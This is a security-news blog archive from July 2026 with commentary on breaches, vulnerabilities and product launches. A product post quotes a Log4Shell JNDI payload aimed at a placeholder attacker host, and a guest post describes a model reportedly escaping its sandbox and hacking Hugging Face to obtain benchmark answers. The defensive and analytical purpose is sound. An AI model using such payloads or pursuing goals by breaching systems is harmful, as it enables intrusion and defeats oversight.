Archive for July, 2026

New Harness Report Reveals Enterprise AI Spend Has Outgrown the Systems Built to Track It

Posted in Commentary with tags on July 29, 2026 by itnerd

Harness today released the 2026 State of AI in FinOps, a new report revealing that enterprise AI spend has outgrown the ownership, visibility, and governance needed to manage it. We surveyed 700 engineering leaders and practitioners across five countries to ask about their organization’s FinOps practices. The report finds that AI costs are climbing across every LLM provider and spend category, including infrastructure, software, and models. But basic questions go unanswered: who owns the bill, why it spiked, and whether the spend is paying off.

AI Spend Is Rising Fast and Running Blind

AI spend is no longer isolated to a single team, tool, or budget line. It is climbing across infrastructure, software, and models at once, faster than most organizations can keep up with. The report finds that when the bill spikes, most have no way to explain why:

  • Nobody is clearly accountable for AI cost. 52% say there’s no clear owner, with responsibility split across engineering, FinOps, finance, and IT; so when spend increases, there’s no single person well-positioned to answer for it.
  • That ownership gap shows up as recurring surprises. 72% have experienced an unexpected AI cost spike or bill in the past year, and a third of organizations (33%) have been caught off guard more than once.
  • Even after the surprise hits, most can’t trace it back to a cause. If spend were to double overnight, only 20% could identify the reason within hours.
  • The result is money wasted with no owner or explanation. Organizations estimate 26% of all AI spend is wasted. For organizations spending $1M/month, the reality for 1 in 5 respondents, that’s $260,000 a month with no measurable return.

This mirrors what Harness found earlier in 2026. The State of Engineering Excellence 2026 report showed engineering teams measure AI’s productivity gains with instruments that miss what matters. The same blind spot now shows up in finance: spend is moving faster than any organization’s ability to see it, attribute it, or explain it.

The Problem Starts When Engineers Build the Features

Here’s how it plays out:

  • Most engineers have no idea what the features they create actually cost. Less than half (45%) say they understand the cost of the AI features they build.
  • Planning ahead becomes total guesswork. More than half (56%) say anticipating AI spend is based on guesswork, not data.
  • The incentives in place reward more usage. 57% of engineers say their organization actively encourages “tokenmaxxing,” maximizing AI usage regardless of tangible value.
  • Organizations can’t enforce spend policies without data.  73% have AI cost policies in place, yet only 13% have basic visibility into their AI spend.
  • As a result, most organizations can’t tell if their spend is even paying off. Only 26% have a robust method for measuring the business value of their AI spend.

What Mature Organizations Do Differently

The report finds that organizations that have reached full AI cost maturity follow a consistent sequence: 

  • Name a single, accountable owner for AI cost before adding new tools or providers.
  • Build one unified view of AI spend across infrastructure, software, and models before attempting to optimize it.
  • Push cost data into engineering workflows at the point of model selection, prompt design, and deployment, rather than treating it as a finance-only concern.
  • Tie AI spend to business outcomes, establishing unit economics before measuring ROI.

To learn more, download the full 2026 State of AI in FinOps report here: http://www.harness.io/state-of-ai-in-finops-2026 

About the Research

This report is based on an online survey of 700 engineering leaders and practitioners, asking about their organization’s FinOps practices, conducted in May and June 2026 by Sapio Research. All respondents work at organizations that actively use AI/LLM services and are employed in software engineering/development, DevOps, IT operations, or executive leadership roles. The sample included 300 respondents in the United States and 100 each in the United Kingdom, France, Germany, and India.

Thousands of Servers Leak Authentication Password Hashes via 20 Year-Old Vuln in BMC Interface

Posted in Commentary with tags on July 29, 2026 by itnerd

Researchers have uncovered more than 24,000 servers leaking authentication password hashes from a 20-year-old vulnerability in their Baseboard Management Controller (BMC) interface. 

Lava HQ has a great write up about it here: https://lavahq.io/research/bmc-exposure-alert

Dan Moore, Sr. Director CIAM Strategy at cybersecurity company FusionAuth, provided the following comments:

“The flaw CVE-2013-4786 exposes is in the IPMI RAKP handshake spec, and has been around for 20 years. It returns the password hash enabling offline brute-force attacks you don’t see. The researchers cracked HPE factory passwords in about a day on a cheap M3 Mac. A stronger, non-default password buys more time, but the protocol still hands over the hash; rotation only treats the symptom and the offline brute-force attack is still effective. Vulnerable enterprises should remove these management interfaces from the public internet, update all their passwords and usernames to be complex and non-default, and disable legacy IPMI authentication.”

If you think you might be affected by this, the Lava HQ article has instructions as to how to test, and how to fix this issue. I strongly recommend that you follow these directions ASAP.

Fastjson attacks expose software supply chain blind spots

Posted in Commentary with tags on July 29, 2026 by itnerd

With attackers actively exploiting the unpatched Fastjson vulnerability, I wanted to share a few expert perspectives in case you’re working on any coverage or looking at the broader implications beyond the immediate patching guidance.

If you are not up to speed with this vulnerability, this will help: Fastjson 1.x RCE Vulnerability Targeted in Attacks With No Patched Available

Edwin Shuttleworth, Lead Penetration Tester & Security Researcher, Finite State (https://www.linkedin.com/in/edwincyber)

“This vulnerability is reminiscent of the Log4j remote-code-execution vulnerability disclosed in 2021, in which a critical flaw in a widely used subcomponent left defenders asking not only how to patch, but what to patch. Fastjson is deployed across an enormous range of products. I have encountered it in everything from Android applications to embedded devices such as security cameras, yet many organizations have little insight into where it exists within their environments.

“The broader problem is that most organizations still lack a reliable connection between their asset inventories, the software components running on those assets, and the ways those components are exposed or used. High-quality Software Bills of Materials, or SBOMs, are an important part of solving this problem. They should identify not only the software included in a product, but also its transitive dependencies: the dependencies of those components, the dependencies of those dependencies, and so on. When a vulnerability is discovered deep in the software supply chain, defenders should be able to query a centralized inventory and quickly identify every potentially affected product and service.”

Seemant Sehgal, Founder & CEO, BreachLock (https://www.linkedin.com/in/s-sehgal)

“Fastjson is a reminder that a CVSS score tells you how dangerous a vulnerability is in theory, but it can’t tell you if it’s exploitable or even reachable in your live environment. A critical RCE vulnerability buried behind three layers of network segmentation and non-privileged service accounts is a different exposure than the same CVE running on an internet-facing API with access to your data plane.

“The best advice I can give fellow practitioners is to build a repeatable way to answer the exploitability and reachability questions before the next zero-day forces you to.”

John Strand, Owner, Black Hills Information Security (https://www.linkedin.com/in/john-strand-a1b4b62)

“One of the biggest mistakes people can make with this vulnerability is assuming it’s only a Chinese ecosystem problem because Fastjson was developed by Alibaba and has been widely used in Android applications and cloud services. That’s simply not true. Fastjson has found its way into enterprise software used around the world, including products like Oracle Communications Cloud Native Core. The real concern is that this is a software component, not a standalone product. Organizations often don’t realize they’re using it because it’s buried several layers down in their software stack. That means many security teams won’t know they’re exposed until someone else finds the vulnerability for them, and by then they’re already behind.”

Noelle Murata, Chief Operating Officer, Xcape (https://www.linkedin.com/in/nmurata)

“Unpatched open source components like Fastjson expose enterprises to remote code execution attacks because organizations lack real time visibility into their underlying application dependency trees. The fact that the technology industry is still getting systematically compromised by untrusted Java deserialization bugs in 2026 feels like a collective refusal to learn basic software engineering history. When a widely used library allows untrusted JSON payloads to execute arbitrary code under stock default configurations, it proves that application teams are still treating external inputs as inherently safe. Beyond emergency patching and enforcing SafeMode, security leaders must implement dynamic Software Bill of Materials tracking, restrict outbound network egress from application servers, and treat object deserialization as an inherently hostile operation across all development pipelines.

“Organizations should deploy continuous Software Bill of Materials tooling to discover transitive Fastjson 1.x components embedded inside application archives, enable SafeMode or migrate to Fastjson 2.x immediately to block untrusted object instantiation across all production endpoints, and isolate application servers with strict egress firewalls to prevent compromised parsers from downloading secondary payload tools.

“We have known that untrusted deserialization leads directly to system compromise for over a decade, yet here we are acting surprised when unpacking JSON turns into remote code execution.”

Any sort of vulnerability is dangerous. An unpatched one is even more dangerous as the bad guys take advantage of them and pwn you without a doubt.

Guest Post: The Hugging Face Hack Is A “Before and After” Moment in Cybersecurity Like Morris Worm and Stuxnet

Posted in Commentary with tags on July 29, 2026 by itnerd

By Chris Nyhuis, Vigilant CEO

Do I think “AI going rogue” in light of the Hugging Face hack by an OpenAI frontier model? It’s not going in the Hollywood sense. What it demonstrates is something arguably more important:

  • The model was highly competent at cyber operations.
  • It was goal-driven rather than “morally aware.”
  • Given an objective and insufficient constraints, it optimized for success—even if that meant violating assumptions the researchers expected it to respect.

That is a classic AI alignment problem. The model wasn’t trying to attack Hugging Face because it “wanted to.” It attacked because, from its perspective, obtaining the benchmark answers was the shortest path to completing the assigned task.

From a cybersecurity perspective, this is actually one of the biggest stories in AI security so far.

If these reports are accurate, we’ve now seen an AI system in pursuit of a single objective:

  • Discover an escape path,
  • Chain multiple vulnerabilities,
  • Perform lateral movement,
  • Use stolen credentials,
  • Achieve remote code execution,

Those are behaviors we normally associate with sophisticated human penetration testers or advanced threat actors so it is not dramatically earth shattering. 

U.S. companies should care what comes next as this reinforces something Vigilant has been talking about for a while:

  • AI will dramatically increase the speed and sophistication of attacks.
  • Defenders will need continuous validation rather than point-in-time assessments.
  • Autonomous detection and response will become essential because humans simply won’t react fast enough.

In many ways, this validates the idea that companies need continuous, evidence-based security rather than annual penetration tests or vulnerability assessments. 

This incident may become one of those “before and after” moments in cybersecurity, similar to Morris Worm, Stuxnet, or the first ransomware outbreaks. Not because AI did something dramatically earth shattering, but because the public is mesmerized by the marketing that AI companies have done on the mystical capabilities of AI.  It doesn’t mean AI is conscious or uncontrollable, but it does show that highly capable agentic systems can produce unexpected real-world consequences when given broad objectives and enough capability by humans.  

And that last point is the key. AI attacking is no different than a hacker writing a script that automates their job. Is AI more capable than a script? Yes, it is by multitudes however it is still the same.  A human created software to attack. The crux of this is whether they created it intentionally to hack or unintentionally they are still responsible and should he held responsible. 

Precedence will be set here, and it will be a dangerous one if OpenAI is not held accountable for breaking the law and hacking another company.

We will have to see what the technical timeline is of how the sandbox escape reportedly happened once OpenAI releases it. As someone building defensive cybersecurity products, I think these are lessons that will influence how autonomous security systems are designed over the next few years.

Contrast Security launches CVE Shield

Posted in Commentary with tags on July 29, 2026 by itnerd

Contrast Security today announced Contrast CVE Shield to stop the wave of AI-generated exploits made possible by frontier models like Claude Mythos.

Contrast CVE Shield operates inside the running application, where it detects, monitors and prevents exploitation of known vulnerabilities. Legitimate library functions continue, while security teams get evidence showing which vulnerabilities are present, which are active, which are being attacked and which are kept safe.

Using a runtime microsandbox for each supported CVE, CVE Shield is a compensating control that gives organizations immediate protection while they test and deploy the permanent fix.

In April 2026, Anthropic reported that its Claude Mythos Preview research system could take a public CVE identifier and the corresponding Git commit and autonomously produce a working exploit inexpensively within a day. Within five weeks, OpenAI and Microsoft disclosed comparable vulnerability research systems.

Built for AI-speed exploitation

Traditional CVE management identifies the 5% of CVEs that actually matter in production and creates a remediation ticket. Teams still have to determine whether the vulnerable code is actually running, reachable, exploitable, and connected to a sensitive asset — and then protect the application while they test and deploy an update.

CVE Shield adds runtime protection while teams patch. Instead of trying to recognize every malicious payload, it blocks the capabilities an exploit must use to succeed, such as native code execution, remote class loading, and arbitrary file writes.

Because CVE Shield controls behavior rather than relying on payload signatures, new variations of a supported exploit hit the same protected boundary. No new signature is required.

Even when an attacker reaches vulnerable code with a working exploit, CVE Shield can stop the exploit from completing its intended action.

-Katie Norton, Senior Research Manager at IDC

The Log4Shell example

Let’s use Log4Shell as an example, because it is the most widely known CVE.

Log4Shell, tracked as CVE-2021-44228, is exploited by an attacker slipping a token like ${jndi:ldap://attacker.example/x} into request data that gets logged by an application or API, which triggers an outbound lookup that loads and runs attacker-controlled code.

CVE Shield wraps the vulnerable Log4j methods, so normal logging continues while the capabilities the exploit needs, the outbound JNDI lookup, remote class loading and process execution, are denied. The lookup never reaches the attacker’s server and the malicious class never loads.

The vulnerable component keeps working. The exploit does not.

Engineered for production

CVE Shield is installed on your workloads with a single command and immediately begins identifying and protecting against CVE exploit attempts. It requires no additional appliance, proxy or sidecar.

CVE Shield is designed for maximum performance. There is no impact unless a CVE is exploited, and exploit prevention adds only 12 nanoseconds, making CVE Shield’s performance impact almost immeasurable. It can be easily installed on a single host or across a large, diverse infrastructure.

Once the application starts, CVE Shield inventories its libraries and activates shields for vulnerable versions that match. The Contrast Agent Operator automates deployment across Kubernetes and OpenShift workloads without per-service code or Dockerfile changes.

CVE Shield also replaces vulnerability assumptions with runtime evidence. It shows security teams which vulnerable libraries are present, which vulnerable code paths are being exercised and when exploitation is attempted.

Teams can focus remediation efforts on real application risk rather than treating every entry in the backlog as equally urgent. Contrast provides dynamic risk scores for CVEs based on architectural, threat, and business context from production environments.

Availability

CVE Shield is part of Contrast Application Detection and Response. Its initial rollout brings localized CVE sandboxing to 60 critical Java vulnerabilities, including Log4Shell, Spring4Shell and Apache Commons Collections deserialization vulnerabilities. Contrast will expand coverage to additional high- and critical-severity CVEs, with new protections delivered continuously as vulnerabilities emerge. Support for Go, Node.js, .NET and Python is planned for the second half of 2026.

CVE Shield will be available on August 3, 2026, with a free tier, enabling AppSec teams to deploy to Java applications within minutes and gain immediate runtime visibility into active, supported CVEs.

Before August 3rd, you can sign up for the Contrast CVE Shield waitlist. After August 3rd, visit the Contrast CVE Shield registration page.

Key takeaways

  • Contrast Security launched CVE Shield to detect exploitation of known vulnerabilities in third-party libraries used by production applications and APIs.
  • CVE Shield operates within the running application and uses runtime microsandboxing to prevent the dangerous capabilities required by a supported exploit.
  • In monitor mode, CVE Shield detects production exposure and reports exploitation attempts. In block mode, it stops prohibited operations before they complete.
  • CVE Shield protects applications while teams test and deploy patches for vulnerable third-party dependencies.
  • Behavior-based enforcement blocks new variations of supported exploits without waiting for new payload signatures.
  • CVE Shield operates through the Contrast agent and requires no separate appliance, proxy, sidecar or application code changes.
  • Runtime evidence shows which vulnerable libraries are present, which vulnerable code paths are exercised and when exploitation is attempted.

Team Cymru Launches Pure Signal Command

Posted in Commentary on July 29, 2026 by itnerd

Team Cymru today announced Pure Signal™ Command, the connected operating environment for analysts, security teams, applications, and AI agents to access and act on Team Cymru’s internet infrastructure intelligence. Command unlocks Team Cymru’s globally observed threat intelligence data by connecting telemetry, investigative and attack surface management capabilities, expert analysis, and machine-native access within a common architecture. The result is a continuous path from discovery to action, eliminating fragmented workflows, preserving investigative context, and accelerating active threat disruption.

Command is queryable in natural language and draws from source-proximate, verified data with a clear provenance giving both real-time information and the historical context to inform current and future actions. Drawing on the Pure Signal™ Model Context Protocol (MCP) server, Command incorporates agentic AI capabilities while maintaining the option of human-in-the-loop review, ensuring continued accuracy and scalable threat intelligence. 

“Pure Signal™ Command is transforming how we identify and stop threats,” said Tim Jones, Chief Technology Officer, Team Cymru. “Instead of having to combine a patchwork of tools or switch between workflows, users can access all of Team Cymru’s global telemetry, including current and historical data, so they get full and continuous context while evaluating the next steps. And because Command provides validated, current intelligence in a machine-native ecosystem, AI agents can ingest vast amounts of information. This will help defenders turn external visibility into action faster, giving them back the time to investigate before compromise, block before disruption, and act before damage is done.”

Command provides access and improved operational capabilities for customers (and customers’ agents) in a connected operating environment with continuous context and integrated workflows.

In addition to continued access to Team Cymru’s globally observed, validated data and findings, and visibility into internet threats across infrastructure, behavior, relationships, malware, and time, analysts can now operate across every phase of the threat intelligence lifecycle — Discover, Enrich, Investigate, Attribute, Operationalize, Respond — within Command. This streamlined access enables analysts to act without the friction of switching between contexts, so they can spend their time on what matters: addressing threats and directing operations. 

Tracking Adversary Behavior Across the Internet with Global Data and Deep Research

The machine-operable infrastructure of Command provides a comprehensive operational hub and visibility into adversary behavior, identifying threats and offering the latest, most up-to-date intelligence on how to stop them. In addition to having the largest global NetFlow data set, Command ingests data from BGP / Routing, partner telemetry, WHOIS, malware intelligence, and other sources to provide critical visibility into external threats and indicators of compromise, backed by expert analysis. Command provides human and agentic practitioners with a continuous, actionable view of adversary infrastructure, relationships, and movement across the internet, tracking threats even as the infrastructure is created, moved, and absorbed.

Command is powered by Team Cymru’s globally observed network telemetry, including more than 400 billion daily internet connections, 1,000+ data sharing partnerships across more than 140 countries, and over 2,000 behavioral tags curated by the company’s S2 Research Team. This foundation enables security teams to detect adversary infrastructure as it emerges, attribute activity to specific campaigns, and respond with context that automated feeds alone cannot replicate.

Command integrates the full capabilities of the rest of the Pure Signal™ suite and Total Insights Feed, including:

  • Investigation and behavioral enrichment with analyst-curated context, campaign mapping, and infrastructure attribution
  • Continuous attack surface intelligence that monitors internet-facing infrastructure and surfaces adversary staging activity before threats cross the perimeter
  • Deep investigative intelligence for threat hunting, third-party exposure analysis, and continuous monitoring of external-facing assets
  • Operationalized, structured threat intelligence enriched with telemetry-backed behavioral context for direct integration with SIEM, SOAR, and response workflows.

Internet-Scale Telemetry for Human and Agentic Workflows

With Command, CISOs gain observable, defensible risk data backed by real internet telemetry, board-ready metrics, and ROI clarity. Threat hunters can pivot across IP, ASN, domain, and certificate data without losing investigative thread. SOC and IR teams receive investigation-ready context with every alert, supported by 2,000+ analyst-curated behavioral tags and full integration with Splunk, Microsoft Sentinel, Cortex XSOAR, and Cyware.

Pure Signal™ Command is designed to serve the full operational team, including AI agents, extending Pure Signal™ from human investigation workflows into agent-driven operational environments and supporting current and future investigative workflows.

and, with its integrated capabilities and proactive insights, to give defenders the tools to rapidly fight back against threat actors. Command’s integrated workflows, agentic AI capabilities, and insights help organizations discover threats before impact and move to implement protective measures at scale.”

Availability

Pure Signal Command is available today. To request a strategic briefing or live technical demonstration, visit https://www.team-cymru.com/pure-signal/command-threat-intelligence-platform.

Cyberattacks target five Minnesota water utilities 

Posted in Commentary on July 28, 2026 by itnerd

Cyberattacks targeting the water utilities of Braham, South St. Paul, Plymouth, Maple Plain and St. Cloud, Minnesota disrupted automated control systems at multiple facilities, prompting operators to switch to manual operations.

In Braham, the attack temporarily shut down the city’s water treatment plant, but crews restored service in less than two hours, and officials said water quality, public safety and infrastructure were not affected.

Minnesota IT Services (MNIT) confirmed it is assisting the affected communities with incident response, forensic analysis, and recovery efforts. Officials said the attacks primarily targeted industrial control systems used to monitor and operate water infrastructure, and investigations into the incidents remain ongoing.

Denis Calderone, CTO, Suzu Labs:

“The reporting is early on these attacks and there is no way to definitively attribute who the threat actor is, but it’s awfully coincidental that attacks against water utility control systems in five Minnesota cities are coming this soon after CISA released advisory AA26-097A warning about exactly these kinds of targets. That advisory, updated just last week with expanded scope covering Siemens and Schneider PLCs alongside Rockwell, specifically names water and wastewater systems as a targeted sector. We can’t draw a line between the two yet, but it fits the pattern we’ve been tracking since April.

“The good news here is that every one of these cities was able to fall back to manual operations and maintain service. The fact that trained crews could step in and run these systems manually while the automated controls were compromised is what kept this from becoming a major public safety incident.

“With the little that is known about these attacks, we did find it particularly interesting that Plymouth city officials noted that the impact was limited to equipment connected via cellular communications. Water towers, lift stations, pump stations, these remote assets often connect back to the SCADA system over cellular modems, and in our experience secondary and/or alternative comm links are often overlooked when doing risk and vulnerability analysis, so it’s not too surprising then that the vector of attack may have been via these cellular connections. Oftentimes, regarding SCADA and Industrial Control networks, the infrastructure is largely built out by the integrator which increases the chance that these connections get overlooked. We saw in the reporting that Braham’s city administrator is now asking for their system vulnerability study to be reevaluated, and I wouldn’t be surprised if that study never included those cellular communication paths in the first place.

“The prescriptive advice here is the same as it’s been all year: take control systems off the internet, segment OT networks from IT, change default credentials on every device in the environment, and put remote access behind a VPN. But the lesson from Minnesota is that you have to know all the links. Every communication path into your control environment needs to be inventoried and tested, including the cellular modems, the radio links, the backup communication channels that don’t show up on the network diagram because the diagrams just don’t go into that level of depth, or because some components are simply forgotten about because they were installed five years ago by a contractor who’s long gone. If you don’t know every way into your control systems, you can’t protect them.”

Donald McFarlane, Advisory Board Member, Xcape, Inc.

“The encouraging news is that operators appear to have maintained safe water service through a mix of manual operations and resilient system design. If those facts hold, this demonstrates an important principle: cyber resilience isn’t about preventing every intrusion, it’s about ensuring cyber incidents don’t become public safety incidents. As cyber attacks increasingly target operational technology, organizations need the operational ability to find exposed systems, fix the highest-risk vulnerabilities, detect compromise when prevention fails, and contain attacks before they disrupt essential services.”

John Strand, Owner, Black Hills Information Security, Inc.:

“We’re seeing more breaches targeting public and critical infrastructure, and I think one of the biggest things people are missing is the difference between financially motivated attackers and nation-state adversaries. When a criminal group compromises a network, they’re often looking for a quick payday through ransomware or data theft. Nation-state operators frequently have a very different objective.

“Their goal is often to gain access and stay there. They want to establish persistence, quietly understand the environment, and position themselves so they can disrupt critical infrastructure whenever it serves their strategic interests. Water treatment facilities, power generation, transportation, and other essential services are attractive targets because they provide leverage long before an attack is ever launched.

“The challenge is that many security programs are still built to detect noisy attacks like ransomware or smash and grab intrusions. They’re much less effective at finding the low and slow activity that characterizes many nation-state operations. If organizations responsible for critical infrastructure aren’t investing in threat hunting, network telemetry, and behavioral analysis designed to uncover long-term persistence, there’s a real risk that sophisticated adversaries will remain inside those environments long before anyone realizes they’re there.”

Seemant Sehgal, Founder & CEO, BreachLock:

“Five separate water utilities hit across Minnesota tells you this was coordinated targeting of a sector, not opportunistic scanning that happened to find a few open doors. The reassuring headline is that crews switched to manual and restored service fast, but manual fallback is a contingency, and contingencies have limits that vary by facility, by staffing, and by how long the disruption runs. What investigators need to establish is how the same attack pattern reached systems in Braham, South St. Paul, Plymouth, Maple Plain, and St. Cloud, because whatever that common thread is, it almost certainly exists in water infrastructure well beyond Minnesota.”

You’re a target. So you have to behave that way. Beef up your defences so that you don’t end up like these organizations. Otherwise you will end up like these organizations.

Data breach at medical billing firm MCBS affects 1.26 million people

Posted in Commentary with tags on July 28, 2026 by itnerd

Healthcare billing company Medical Computer Business Services (MCBS) has disclosed that a 2025 network breach exposed the sensitive information of more than 1.2 million people.

Commenting on this is Rebecca Moody, Head of Data Research at Comparitech: 

“This is another prime example of why third-party healthcare companies, like medical billing providers, have become a prime target for ransomware groups. By targeting one entity, they’re gaining access to multiple healthcare providers and their data. Our recent H1 healthcare ransomware report found a 35 percent uptick in attacks on these types of companies (those that specialize within the healthcare sector but don’t provide direct care). This breach becomes the second-largest on a third-party healthcare business following a ransomware attack in the last 18 months.”

The report that was linked is a very good one, and I encourage you to read it if you get a chance.

UPDATE: Additional commentary comes via Seemant Sehgal, Founder & CEO, BreachLock:

   “A breach that ran for four days in September 2025 and surfaced in a public disclosure eight months later tells you something about how difficult incident response and forensic review are in environments that handle data across multiple providers simultaneously. The data types here, Social Security numbers, insurance details, medical information, are the combination that makes downstream fraud viable for years, which means the harm timeline for affected individuals extends well beyond the notification date. Eight months is a long time for that data to be in motion before patients knew to watch for it.”

John Strand, Owner, Black Hills Information Security, Inc.:

   “One of the things I absolutely hate about stories like this is that the default response is almost always complimentary identity protection services. Yes, those services can detect some types of fraud, but they don’t come close to addressing the full range of risks created by a data breach. They have value, but they’re far from a complete solution.

   “I’ve started calling this the information security equivalent of thoughts and prayers. It’s the absolute bare minimum a company can offer after a breach without making meaningful changes to improve security or reduce future risk. The reality is that only a fraction of affected people will ever enroll in those services, and even those who do aren’t protected against every way their information can be abused. It’s frustrating because organizations can suffer a major breach, offer a year of identity protection, and too often that’s treated as an adequate response instead of a starting point for real accountability.”

Damon Small, Board of Directors, Xcape, Inc.:

   “Third-party healthcare billing breaches create massive regulatory exposure and systemic supply chain liability when basic detection and response controls fail. The intrusion at Medical Business Office Systems, known as MCBS, allowed attackers to dwell for days and exfiltrate over three terabytes of sensitive patient and insurance data undetected, exposing non-existent data loss prevention and egress monitoring capabilities.

   “Furthermore, an eight-month delay before patient notification, justified by waiting for internal investigation completion, highlights severely flawed incident response processes. Security leaders must mandate continuous network egress monitoring, enforce strict data loss controls on revenue cycle aggregators, and require business associates to report material intrusions within days rather than waiting for post-forensic completion.

   “Critical Takeaways

  • Monitor large-scale data egress: Deploy continuous network monitoring and data loss prevention tools to detect abnormal outbound traffic before terabytes leave the perimeter.
  • Accelerate incident response SLAs: Mandate that third-party vendors establish tight notification timelines rather than withholding breach disclosures for months while conducting internal reviews.
  • Enforce vendor risk accountability: Require revenue cycle partners to submit to regular security telemetry audits and maintain strict field-level data controls for sensitive patient records.

   “If it takes eight months to realize three terabytes of patient data walked out the door, your incident response plan is a post-mortem, not a defense.”

Jacob Krell, Senior Director: Secure AI Solutions & Cybersecurity, Suzu Labs:

   “MCBS had a regulatory shortcut available that would have made this entire disclosure unnecessary. The Health Insurance Portability and Accountability Act (HIPAA) includes a breach notification safe harbor for properly encrypted data, meaning if those 1.26 million Social Security numbers had been encrypted at the field level, the stolen files would have been useless ciphertext and the breach wouldn’t have triggered notification requirements. The encryption was always the cheapest fix. MCBS chose not to implement it when the rule calls encryption “addressable” rather than mandatory.

   “The Department of Health and Human Services proposed eliminating that flexibility in January 2025, making AES-256 encryption at rest mandatory for all electronic protected health information. That rule hasn’t been finalized, and final action has been pushed to July 2027. Encryption remains “addressable” today, and every healthcare billing company that reads “addressable” as “optional” is sitting on the same exposure MCBS had.

   “Credit monitoring as a remedy tells you what the breach responders think the threat model is, and they’re thinking too narrowly. PEAR (Pure Extraction and Ransom) exfiltrated 3.3 terabytes from MCBS, including medical histories, mental health conditions, and diagnosis information. That data enables targeted blackmail, insurance manipulation, and employment discrimination. A credit freeze catches none of it.

   “Under the EU’s General Data Protection Regulation (GDPR) Article 82, affected individuals can claim compensation directly from the company that lost their data. The US gives 1.26 million people a year of free credit monitoring instead. A $4 trillion industry can afford field-level encryption, and it can afford direct liability to patients when it skips it.”

377 vulnerabilities exploited at Microsoft since 2021, more than any other AI company

Posted in Commentary with tags on July 28, 2026 by itnerd

Cybernews researchers have analyzed the KEV (Known Exploited Vulnerabilities) Catalog – a list of already-exploited weaknesses in software (or hardware), compiled by CISA (the U.S. Cybersecurity and Infrastructure Security Agency). Cybernews found 828 common vulnerabilities and exposures (CVEs) at AI companies since 2021, with Microsoft accounting for 377 of them.

Key findings:

  • Since 2021, CISA has recorded 828 CVEs across 16 AI companies.
  • Out of all AI companies in the dataset, Microsoft is by far the leader in the number of CVEs, with 377 vulnerabilities found.
  • A closer look at Microsoft revealed that 27% of vulnerabilities were ransomware-related.
  • Microsoft Windows is the most-exploited product, with 170 known vulnerabilities.

“The number of exploited vulnerabilities correlates strongly with a technology company’s market share. This isn’t surprising: the biggest products draw the most attacker attention, since a single vulnerability can be leveraged against a far larger user base. That said, the shift toward SaaS, the growing amount of business-critical data living online, and the rapid adoption of AI are all raising the stakes around trust and vendor reputation,” says Voldemaras Kadys, Head of Security and Platform Engineering at Mediatech, the digital publishing house behind Cybernews.

For more information, here’s the full report:

https://cybernews.com/security/828-vulnerabilities-exploited-at-ai-companies-since-2021

XBOX suffers day long outage

Posted in Commentary with tags on July 28, 2026 by itnerd

The gaming platform XBOX has a massive outage yesterday. PC Magazine has the details:

The problems began at 5:30 a.m. ET on Monday. Xbox’s support page confirms issues after spikes on Downdetector, with thousands of users reporting problems.

An update from Microsoft at 8 a.m. ET said its team was continuing to work on the issues. “Just checking in on the game library, sign-in, and game launch issue. We know this has been going on a while and appreciate your patience while our teams keep working on it,” it wrote.

So far, there’s no word on when a fix will be rolled out or what’s causing the problems. Xbox’s support page says it’s affecting digital and disc-based games on all its consoles, from the latest Xbox Series X and S to the Xbox 360. It also confirms there are problems with accessing its backward-compatibility features.

Some users are finding they can’t sign in to their accounts at all, while others can’t access the store to download new titles. Other Microsoft warnings say to expect to “be disconnected while signed in, or have other related problems.”

This was ultimately resolved around 7PM EST. And the article I linked to has an overview of what happened. But it left a bad taste in XBOX users mouths. And I have to admit that if I played video games, it would affect my buying decision.

Commenting on this, Mayur Upadhyaya, CEO of APIContext, said:

“The Xbox incident is a good reminder that modern digital delivery chains are far more fragmented than most people realize. Every online service depends on dozens, sometimes hundreds, of internal and external components working together.

The interesting question isn’t why one licensing service failed. It’s why a dependency that many people wouldn’t naturally think of as mission-critical became mission-critical the moment it stopped working. That’s the reality.

It’s also why these incidents are so difficult to resolve. The challenge isn’t simply identifying the root cause, it’s understanding the dependency chain and the knock-on effects across the wider service.

This isn’t unique to Xbox. Every organization has dependencies that sit just outside their normal operational visibility. Most monitoring focuses on internal applications, but customers experience the entire transaction, including cloud services, identity providers, APIs and other third-party dependencies.

The uncomfortable reality is that organizations often only discover these hidden dependencies when one of them fails. That’s why resilience increasingly depends on continuously verifying end-to-end transactions, not just monitoring individual systems”.

This serves to be a reminder that cloud services are inter-dependant on services that run underneath them. And any of them can fail at any given time. Thus users should be prepared for downtime. And organizations like XBOX need to stop downtime from happening.